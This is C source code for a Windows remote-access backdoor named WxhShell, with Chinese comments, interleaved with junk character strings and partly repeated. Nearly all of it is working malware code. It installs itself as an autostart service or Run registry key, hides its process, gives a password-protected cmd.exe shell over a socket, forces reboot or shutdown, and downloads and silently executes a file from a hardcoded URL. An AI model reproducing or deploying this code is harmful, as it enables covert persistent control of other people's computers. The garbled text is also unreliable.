"GetModuleBaseNameA"); , Fytk34 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
EZ% .M*? g_D-(J`IK, if (!NtQueryInformationProcess) return 0; B/YcSEY; UxPGv;F hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q6[}ydV if(!hProcess) return 0; P79R~m` M4<+%EV} if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kr_oUXiX I($,9|9F CloseHandle(hProcess); mCb 9*| ~'BUrX\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8Uj: if(hProcess==NULL) return 0; {
R*Y=Ie 6/y*2z; HMODULE hMod; `Wf5 char procName[255]; rye)qp| unsigned long cbNeeded; 29O]S8 FP;":i RL if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Yk>8g;< F_PTMl=Q|J CloseHandle(hProcess); p5SX1PPQ 1KJZWZy if(strstr(procName,"services")) return 1; // 以服务启动 c/$*%J< +sn2Lw!^ return 0; // 注册表启动 <:cpz* G4 } }GRMZh_8 h;n\*[fDc // 主模块 jyjQzt
>\ int StartWxhshell(LPSTR lpCmdLine) ^('cbl { EX 9Z{xX SOCKET wsl; W'G{K\(/ BOOL val=TRUE; Nu.
(viQ} int port=0; -931'W[s, struct sockaddr_in door; |e"/Mf[ i/:5jI| if(wscfg.ws_autoins) Install(); +v1-.z Dm4B port=atoi(lpCmdLine); i_YW;x 97x%2.\: if(port<=0) port=wscfg.ws_port; ;tN4HiN [`bZ5*& WSADATA data; RO(iHR3cA if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t,?,F4j z_)`g`($ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Sf5]=F-w setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Hd*Fc=>"Y door.sin_family = AF_INET; 5byeWH0n3 door.sin_addr.s_addr = inet_addr("127.0.0.1"); }@*I+\W/ door.sin_port = htons(port); pU DO7Q] r9;` if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |J?:91
closesocket(wsl); C*j9Iaj return 1; FAd``9kRT } x)\V lR '{^8_k\}B if(listen(wsl,2) == INVALID_SOCKET) { !Ud:?U closesocket(wsl); >e_%M50 return 1; q4k`)?k9 } k1wr/G'H[ Wxhshell(wsl); \Jf9npz3 WSACleanup(); x,-S1[#X; ??+:vai2 return 0; x.G"D( u
!.DnKu } ULTNhq
R*n /.2u.G // 以NT服务方式启动 e7's)C>/' VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :s-EG;. { >@:667i,`
DWORD status = 0; y;,y"W DWORD specificError = 0xfffffff; EJ8I[( z1}1*F" serviceStatus.dwServiceType = SERVICE_WIN32; B{=009. serviceStatus.dwCurrentState = SERVICE_START_PENDING; <hMtE/05B serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z{#"-UG serviceStatus.dwWin32ExitCode = 0; NJ>,'s serviceStatus.dwServiceSpecificExitCode = 0; qhN[Dj(d serviceStatus.dwCheckPoint = 0; .o"<N serviceStatus.dwWaitHint = 0; @4&,
#xo p~FQcW'a~ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); edTMl;4 if (hServiceStatusHandle==0) return; i9y3PP) a.CF9m5]c status = GetLastError(); =1Ri]b if (status!=NO_ERROR) ,P!D-MN$V { bm^X!i5 serviceStatus.dwCurrentState = SERVICE_STOPPED; CX.SYr&!R serviceStatus.dwCheckPoint = 0; SLg+H serviceStatus.dwWaitHint = 0; Q-jf8A] serviceStatus.dwWin32ExitCode = status; \"J?@ serviceStatus.dwServiceSpecificExitCode = specificError; (`F|nG=X SetServiceStatus(hServiceStatusHandle, &serviceStatus); jF4csO=E return; (>mi!: } UIz:=DJ '6+Edu~Ho) serviceStatus.dwCurrentState = SERVICE_RUNNING; Q;Q%SI`yT serviceStatus.dwCheckPoint = 0; 6#O#T;f) serviceStatus.dwWaitHint = 0; /'mrDb_ip if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =9fEv,Jk } SF"#\{cjj k=ts&9\ // 处理NT服务事件,比如:启动、停止 ;Na^]32 VOID WINAPI NTServiceHandler(DWORD fdwControl) PaxK^* { AzxL%,_ switch(fdwControl) UDVf@[[hN { )7k&`?Mh case SERVICE_CONTROL_STOP: 76$*1jB serviceStatus.dwWin32ExitCode = 0; jp%+n serviceStatus.dwCurrentState = SERVICE_STOPPED; RrKfTiK H serviceStatus.dwCheckPoint = 0; }$<^wt serviceStatus.dwWaitHint = 0; v7L"` { rNZO.qijz SetServiceStatus(hServiceStatusHandle, &serviceStatus); T0YDfo } [f=.!\0\ return; MSK'2+1T@g case SERVICE_CONTROL_PAUSE: yAAG2c4( serviceStatus.dwCurrentState = SERVICE_PAUSED; nW~$
(Qnd break; di--:h/ case SERVICE_CONTROL_CONTINUE: ,TEuM| serviceStatus.dwCurrentState = SERVICE_RUNNING; @W#fui<<}Y break; ENO? ; case SERVICE_CONTROL_INTERROGATE: b~jIv:9T break; epn#qeX }; !O 4<I_EY{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); n}0za#G } is9}ePC7Xu 5GaoJ v // 标准应用程序主函数 '7t|I6$ow int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [gpOuTW { ]GQv4-y tp%|AD" // 获取操作系统版本 `bzr_fJ OsIsNt=GetOsVer(); I88Zrhw GetModuleFileName(NULL,ExeFile,MAX_PATH); L+8=P<] UlnyTz~ // 从命令行安装 i3D<`\;r if(strpbrk(lpCmdLine,"iI")) Install(); l<W*/}3 *X~B-a |nJ // 下载执行文件 PEfE'lGj if(wscfg.ws_downexe) { ^p$1D if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L{Q4=p,A WinExec(wscfg.ws_filenam,SW_HIDE); sTt9'P` } Ze#Jhn@ Ir!2^:]! if(!OsIsNt) { cES;bwQ // 如果时win9x,隐藏进程并且设置为注册表启动 $pjf#P8U HideProc(); ]{(l;k9=e StartWxhshell(lpCmdLine); m dC`W&r } 09G9nu ;&{ else XO 0>t{G if(StartFromService()) z<n"{% // 以服务方式启动 CdDH1[J StartServiceCtrlDispatcher(DispatchTable); oDz*~{BHg else o>0O@NE // 普通方式启动 1$);V,DK! StartWxhshell(lpCmdLine); 8n;kK? 2dXU0095 return 0; XIqv{w } ]Mn&76fu `<S/?I8 ZEL/Ndk 'CS^2Z =========================================== mr@_%U N )'8o}E {-o7w0d_ D}mo\ F='Xj@&O CKx\V+\O " 4Y`! bT` EfFj!)fz #include <stdio.h> NR;q`Xe- #include <string.h> A
*a{ #include <windows.h> Jz=;mrW #include <winsock2.h> ^a086n #include <winsvc.h> N
=x]AC, #include <urlmon.h> BHF{-z M_qP!+Y #pragma comment (lib, "Ws2_32.lib") =>HIF#jU #pragma comment (lib, "urlmon.lib") o,g6JTh issT{&T #define MAX_USER 100 // 最大客户端连接数 -"2 <h:# #define BUF_SOCK 200 // sock buffer =ZCH1J5" #define KEY_BUFF 255 // 输入 buffer Y*`:M( nsZDZ/jx #define REBOOT 0 // 重启 %|#P&` #define SHUTDOWN 1 // 关机 nwY2BIB | \AbL!u #define DEF_PORT 5000 // 监听端口 7J0 ^N7"o -;sJ25( #define REG_LEN 16 // 注册表键长度 aw%>YrJ #define SVC_LEN 80 // NT服务名长度 "CIpo/ebL `DI{wqV9 // 从dll定义API u86J.K1Q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g ^D)x[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;~}-AI- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }9MW!Ss typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \%w7D6dEZ \B*k_W/r@ // wxhshell配置信息 j'G"ZPw1 struct WSCFG { {fAh@:{@ int ws_port; // 监听端口 (jp1; #P! char ws_passstr[REG_LEN]; // 口令 on]\J int ws_autoins; // 安装标记, 1=yes 0=no ~Y1"k]J char ws_regname[REG_LEN]; // 注册表键名 o%vIkXw char ws_svcname[REG_LEN]; // 服务名 N5:D8oWWXR char ws_svcdisp[SVC_LEN]; // 服务显示名 j)6@q@P/ char ws_svcdesc[SVC_LEN]; // 服务描述信息 /uy&2l char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @#bBs9@gv int ws_downexe; // 下载执行标记, 1=yes 0=no 9`ri
J4zl char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wk-Mu\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N2[, aU {Uik| }; Gh>"s #+ ;yRwoTc)Y // default Wxhshell configuration SlH7-"Ag struct WSCFG wscfg={DEF_PORT, ,2=UuW"K "xuhuanlingzhe", ,m #@%fa 1, @"q~AY "Wxhshell", c28oLT1|D "Wxhshell", +W V@o' "WxhShell Service", Iu=pk@*O "Wrsky Windows CmdShell Service", C! aX45eg "Please Input Your Password: ", T+&x{+gZ 1, h1Ke$#$6 "http://www.wrsky.com/wxhshell.exe", sq8 tv] "Wxhshell.exe" uf{SxEa }; U92B+up- f9h:"Dnzin // 消息定义模块 t9KH|y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Up]VU9z char *msg_ws_prompt="\n\r? for help\n\r#>"; a(Gk~vD;" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]=$-B char *msg_ws_ext="\n\rExit."; pHI%jHHJ char *msg_ws_end="\n\rQuit."; f)&`mqeE char *msg_ws_boot="\n\rReboot..."; UQC'(>.} char *msg_ws_poff="\n\rShutdown..."; dg!1wD char *msg_ws_down="\n\rSave to "; *>}McvtTw J
,Qy`Y
B char *msg_ws_err="\n\rErr!"; /t%"Dh8x char *msg_ws_ok="\n\rOK!"; PO=ZxG Q1N,^71 char ExeFile[MAX_PATH]; {GGO')p int nUser = 0; Y\Fuj) HANDLE handles[MAX_USER]; <a4iL3 int OsIsNt; /ieu)m:2 ^L*VW
gi9 SERVICE_STATUS serviceStatus; 3L
1lq . SERVICE_STATUS_HANDLE hServiceStatusHandle; )w}*PL e3HF"v]2! // 函数声明 pAPQi|CN int Install(void); ZI#SYEF6 int Uninstall(void); [T$$od[. int DownloadFile(char *sURL, SOCKET wsh); PuUon6bZ int Boot(int flag); D7Rbho< void HideProc(void); a$+e8> int GetOsVer(void); 2vk8+LA(6 int Wxhshell(SOCKET wsl); d'**wh, void TalkWithClient(void *cs); h0y\,iWXb int CmdShell(SOCKET sock); yK @X^jf int StartFromService(void); x~3>1Wr#M int StartWxhshell(LPSTR lpCmdLine); BIb{<tG^N (rY1O:*S VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Oy?iAQ+ VOID WINAPI NTServiceHandler( DWORD fdwControl ); LyCV_6;D {ra Esb-X // 数据结构和表定义 [nhLhl4S SERVICE_TABLE_ENTRY DispatchTable[] = O*+w_fox { d ~Z:$&r {wscfg.ws_svcname, NTServiceMain}, 5sffDEU]A {NULL, NULL} Eo25ir% }; nvUkbmZG# =8VJ.{xy_e // 自我安装 RY'\mt"W2 int Install(void) '3Lx!pMhN { j*3sjOoC char svExeFile[MAX_PATH]; ( .6tz HKEY key; R- ?0k: strcpy(svExeFile,ExeFile); +Fkx") OFPd6,(E // 如果是win9x系统,修改注册表设为自启动 x.yb4i=Jq if(!OsIsNt) { Z"+rg9/p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;M(ehX
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6|(7G64{ RegCloseKey(key); _UbR8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^/5E773 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^*owD;]4_ RegCloseKey(key); JzS^9)& return 0; Z?G3d(YT } 01SFOPuR%( } ;jY'z5PH5 } N#xM_Mpt else { w4&v( m 5p>]zij> // 如果是NT以上系统,安装为系统服务 '!|E+P- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZPG8q
if (schSCManager!=0) "78cl*sD { \gPNHL* SC_HANDLE schService = CreateService OM"T)4z ( Y9(i}uTi schSCManager, 0I AaPz/e wscfg.ws_svcname, (WU~e!} wscfg.ws_svcdisp, >f9]Nj SERVICE_ALL_ACCESS, C Ol%P SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , enfu%"(K) SERVICE_AUTO_START, N?u2,h- SERVICE_ERROR_NORMAL, 6I6ZVSxb svExeFile, }M"'K2_Z NULL, 0"D?.E"$r NULL, S+\Mt+o NULL, YJtOdgG|q NULL, jWb\"0) NULL ?;r7j V/`j ); 4VL!U?dk if (schService!=0) Se]t;7j { a!6OE"?QQ CloseServiceHandle(schService); 14)kKWG CloseServiceHandle(schSCManager); <pa];k(IQL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *^$N$t/2 strcat(svExeFile,wscfg.ws_svcname); ^/RM;`h0 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P$#}-15?|_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W} +6L| RegCloseKey(key); oY#XWe8Om return 0; (UiH3Q9C]% } g5TLX&Bd } d T-O8 CloseServiceHandle(schSCManager); C(Bar# } @5nkI$>3z } 7$!Bq# uS+b* : return 1; fqp7a1qQl } (V|q\XS Yv`1ySR // 自我卸载 ]H@uuPT! int Uninstall(void) 98%a)s)(a { Q,LWZw~" HKEY key; '&L
f>JzG,- if(!OsIsNt) { 0i1?S6]d- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XzR WY\x RegDeleteValue(key,wscfg.ws_regname); sC*E;7gT, RegCloseKey(key); [}g5Z=l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .dq.F#2B; RegDeleteValue(key,wscfg.ws_regname); 5<'Jd3N{& RegCloseKey(key); "i5AAP?_]{ return 0; <P)%Ms } orN2(:Ct7 } 'bqf?3W } #cg@Z else { 7!d<>_oH Mh@ylp+q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _:z;j{@4 if (schSCManager!=0) }&^bR)= { PYRwcJ$b\d SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *g_>eNpXD if (schService!=0) gM/_:+bT>P { BqJrL/( if(DeleteService(schService)!=0) { zqEZ+|c= CloseServiceHandle(schService); !c;p4B) CloseServiceHandle(schSCManager); {>qrf: return 0; K^p"Z$$ } FH@e:-*= CloseServiceHandle(schService); D2mAyU- } \VzQ1B>k CloseServiceHandle(schSCManager); J +Y|# U } |@4hz9~3 } Wh&Z *J cyn]>1ZM return 1; 9#ay(g } < 2r#vmM <L[)P{jn?p // 从指定url下载文件 H "/e% int DownloadFile(char *sURL, SOCKET wsh) w@D@,q'x { >}`1'su HRESULT hr; iDe0 5f1R char seps[]= "/"; A}+r;Y8[h char *token; O&1p2!Bk4 char *file; "e?#c<p7 char myURL[MAX_PATH]; lIT2 AFX+ char myFILE[MAX_PATH]; p~y
4q4 yOm6HA``hT strcpy(myURL,sURL); k$mX81 token=strtok(myURL,seps); [&59n,R` while(token!=NULL) )"Yah { zL=I-f Vq file=token; I(eR3d: token=strtok(NULL,seps); 1>*<K/\qg } &?6~v
j7%%/%$o[ GetCurrentDirectory(MAX_PATH,myFILE); trA `l/ strcat(myFILE, "\\"); EG=>F1&M strcat(myFILE, file); 8TM=AV send(wsh,myFILE,strlen(myFILE),0); SVeU7Q6- send(wsh,"...",3,0); ^,r;/c9A8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NWX%0PGZ if(hr==S_OK) =|^W]2W$ return 0; Y\2>y"8>$x else =<tEc+!T3 return 1; MZ[g|o!)v w'j]Y% } [?(W7 O-m}P // 系统电源模块 P =Gb int Boot(int flag) zTzG&B- { ^E,UcK; HANDLE hToken; aj~@r3E; TOKEN_PRIVILEGES tkp; ;^SgV 3W00,f^9 if(OsIsNt) { KV(W|~+ rM OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LA3,e (e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <GlV!y tkp.PrivilegeCount = 1; H`..)zL| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,l"2MXD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~DS9{Y if(flag==REBOOT) { P?-44m# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !I
P* return 0; I!@`_Q9N } (8/xSOZ[ else { |W[rywxx if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J@-9{< return 0; p 8rAtz>=J } a,\u|T:g } ;Q 6e&Ips/ else { 3
+9|7=d if(flag==REBOOT) {
$VNn`0^gF if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vCr$miZ return 0; f4^_FK& } ;\0RXirk else { IKj1{nZvDc if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `2+52q<FO return 0; 'KrkCA } cMKh+r } }z:=b8} Qc/J"<Lx return 1; +#9 (T
} LLN^^>5|l <o`]wOrl // win9x进程隐藏模块 N_}Im>;! void HideProc(void) !I$RE?7eY { ~|]\.^B wN.Jyb HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %ua5T9H Z if ( hKernel != NULL ) $^GnY7$!> { 8`<GplO pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "aH]4DO ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p8bTR!rvz FreeLibrary(hKernel); TR7TF]itb } A>S2BL#= l0)6[yXK return; ZmF32Ir } wEqCuhZ 6f1Y:qK'@ // 获取操作系统版本 *GnO&&m'B int GetOsVer(void) >@W#@W*I@ { KLB?GN?Pb OSVERSIONINFO winfo; G(e?]{( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (.)s = GetVersionEx(&winfo); 8=VX` X if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $x0F(|wxt return 1; {%dQV#'c else "=O)2} return 0; }R(_^@] } YzVLa,[ S d -+a // 客户端句柄模块 *8+YR int Wxhshell(SOCKET wsl) p `Z7VG { 21Opx~T3 SOCKET wsh; ^hJ,1{o struct sockaddr_in client; efm<bJB2 DWORD myID; 0cVXUTJ|W J(GLPC O$K while(nUser<MAX_USER) l1-FL-1 { MR: {Ps&, int nSize=sizeof(client);
C5?M/xj wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F[Up if(wsh==INVALID_SOCKET) return 1; m5*RB1 ^%.<(:k[L handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $Vh82Id^ if(handles[nUser]==0) kdq55zTc<6 closesocket(wsh); 9wzYDKN} else j/\XeG> nUser++; .`9KB3 } Mf"B!WU>]B WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); stScz#! (w fZ! return 0; =X B)sC% } e)8iPu .. bv0 %{u& // 关闭 socket I
Cs1= void CloseIt(SOCKET wsh) wXnt3)e { ^W*/!q7H closesocket(wsh); N:.bnF( nUser--; !h~\YE) ExitThread(0); {,ljIhc, } XhiC'.B_ {DR+sE // 客户端请求句柄 3lqhjA void TalkWithClient(void *cs) X"sN~Q.0 { ~gD'up@$/ V8/o@I{U[ SOCKET wsh=(SOCKET)cs; nEYJ?_55 char pwd[SVC_LEN]; H?m2|. char cmd[KEY_BUFF]; z m%\L/BF char chr[1]; t+tGN\q int i,j; uVocl,?.L y{<7OTA) while (nUser < MAX_USER) { O1"!'Gk[!L ' wEP:} if(wscfg.ws_passstr) { $qqusa}`K if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jEadVM9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [0Sd +{Q //ZeroMemory(pwd,KEY_BUFF); i`X{pEKP+ i=0; f~Su F,o@h while(i<SVC_LEN) { O(VV-n7U jn'8F$GU // 设置超时 z&8#1' fd_set FdRead; "Q( 8FF struct timeval TimeOut; m,b<b91 FD_ZERO(&FdRead); ~[{| s') FD_SET(wsh,&FdRead); *SZ<ori TimeOut.tv_sec=8; J.*=7zmw TimeOut.tv_usec=0; w~`P\i@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x0]*'^aA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7pNh|#Uv' h7{W-AtM7_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G[mYx[BTz pwd=chr[0]; 6=FuH@Q& if(chr[0]==0xd || chr[0]==0xa) { ,yoT3_%P pwd=0; 1,E/So break; x8^Dhpr6 } B.o&%5dG i++; a)e2WgVB/E } Z,z^[Jz ]KmYPrCl0 // 如果是非法用户,关闭 socket B4?P"| if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K"D9. %7 } F=#Wfl-o bF.Aj8ZQ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c=5$bo]LI send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C,E 5/XW AG?oA328 while(1) { >HDK<1 > ?s//a_nL* ZeroMemory(cmd,KEY_BUFF); )`)cB)s Ez)Go6Q // 自动支持客户端 telnet标准 vc<8ApK3V j=0; t9kgACo/M while(j<KEY_BUFF) { E4{8 $:q= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lyyi?/W% cmd[j]=chr[0]; cG<?AR?wDT if(chr[0]==0xa || chr[0]==0xd) { GZ1>]HB>r^ cmd[j]=0; ci!c7 ,'c break; <D__17W:; } o]vd xkU] j++; |G1U$p } jH8F^KJM[ >,[(icyzn // 下载文件 ReY K5J=O if(strstr(cmd,"http://")) { +$%o#~ send(wsh,msg_ws_down,strlen(msg_ws_down),0); z)ydQw> if(DownloadFile(cmd,wsh)) ms?h/*E<H send(wsh,msg_ws_err,strlen(msg_ws_err),0); J-U}iU| else V\
|b#?KL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vXc<#X9 } /q=<OEC else { ^71sIf;+ qU"+0t4 switch(cmd[0]) { $V[ob 76
y}1aa // 帮助 M8h9i2 case '?': { c9Cp!.#*E send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *ce h
]v break; `0L!F"W } DV.m({? // 安装 @~"0|,6VC case 'i': { /as1 if(Install()) P^
a$? send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4`i_ 4&TS else Q$3%aR-2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8NLk`/ break; 5n_<)Ycj } BUtXHD // 卸载 {9z EnVfg case 'r': { /t816,i if(Uninstall()) t({:TQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); nF)|oA else GR"Jk[W9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !nTq"d%(W break; W<~(ieu:K~ } 6`4=!ZfI // 显示 wxhshell 所在路径 j}y" case 'p': { smSUo/ char svExeFile[MAX_PATH]; )#1@@\< ^T strcpy(svExeFile,"\n\r"); ,ujoGSx} strcat(svExeFile,ExeFile); lOVsp# send(wsh,svExeFile,strlen(svExeFile),0); (mv8_~F0 break; Z
yIn>]{ } 3o z] // 重启 (`T:b1 case 'b': { 8tsW^y;S send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F77~156 if(Boot(REBOOT)) LNe-]3wB send(wsh,msg_ws_err,strlen(msg_ws_err),0); !dZC-U~ else { d8av`m closesocket(wsh); g4Tc (k# ExitThread(0); +YP,LDJ!v } NO'-HKHj break; )jnxR${M } ,<%],-Lt[ // 关机 >I+O@ case 'd': { IXg0g<JZ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4PNl3N3,n if(Boot(SHUTDOWN)) xK
/NzVt send(wsh,msg_ws_err,strlen(msg_ws_err),0); "S1+mSW> else { 18F7;d N8 closesocket(wsh); lrK5q ExitThread(0); |Kb-oM&^# } ~/QzL.S;p break; HJwj,SL } kFeuKSa^d // 获取shell hMdsR,Iq case 's': { OD{Rh(Id CmdShell(wsh); ] OR] closesocket(wsh); A07FjT5w8 ExitThread(0); 9"&HxyOfX break; )abo5 } f.Jz]WXw,
// 退出 ]@Q14
case 'x': { y;uk|#qnPS send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w_6h
$"^x CloseIt(wsh); !YCYmxw# break; L[D}pL= } !x[+rf // 离开 ^*RmT case 'q': { q_JES4ofx send(wsh,msg_ws_end,strlen(msg_ws_end),0); p^NYJV closesocket(wsh); H~fZA)W 4Y WSACleanup(); #k*e>d$ exit(1); &vo]l~. break; ;4%^4<+3 } Sa6}xe."M, } jrG@
+" } } IX$ $pdQ flnoK%wi // 提示信息 V9][a if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); //g~1( } Vc}m_T]O } hK?uGt
d? `G,\=c~{A return; y~jTI[kS } B]#0]-ua cW%F%:b // shell模块句柄 [T.kwQf4$ int CmdShell(SOCKET sock) D>PB|rS@ { xrS;06$ STARTUPINFO si; "4zTP!Ow ZeroMemory(&si,sizeof(si)); }"E?#&^ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !Hxx6/ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t /1KKEZM PROCESS_INFORMATION ProcessInfo; }hhDJ_I5M char cmdline[]="cmd"; :voQ#f= CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :k#Y|( return 0; ["kk.*& } uveTx YOy/'Le^: // 自身启动模式 vaW,O/F int StartFromService(void) N.l+9L0b { 7&qunK' typedef struct >XM-xK-= { }PUQvIGZZ& DWORD ExitStatus; m6bAvy]3<t DWORD PebBaseAddress; "oz qfh DWORD AffinityMask; ^g"G1,[%w DWORD BasePriority; >iDV8y ULONG UniqueProcessId; `a*[@a# ULONG InheritedFromUniqueProcessId; $b
QD{ { } PROCESS_BASIC_INFORMATION; N[~RWg iG!tRNQ{y PROCNTQSIP NtQueryInformationProcess; Dqs{n?@n $_onSYWr static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %@Bl,!BJ, static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X3P~z8_ 1.6yi];6 HANDLE hProcess; WnyEdYA PROCESS_BASIC_INFORMATION pbi; RQ;pAO KC[ql}JP HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D37N*9} if(NULL == hInst ) return 0; KY~p>Jmh TmxhP
nJ~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
qH1[BsOx g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %4*-BCP NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n<+g{QHi |Ah'KpL8W if (!NtQueryInformationProcess) return 0; ZEYT17g] `A_CLVE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GWsvN&nr if(!hProcess) return 0; ?%Hj,b ycz6-kEp if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )"`(+Ku&c ph
qx<N@ CloseHandle(hProcess); <l opk('7 P-o/ax hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U-&dn%Sq if(hProcess==NULL) return 0; |3<tDq@+ ]%>7OH' HMODULE hMod; |qnAqzK| char procName[255]; aAhXHsZ|26 unsigned long cbNeeded; ;x^WPYEj .jA'BF. if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^K.
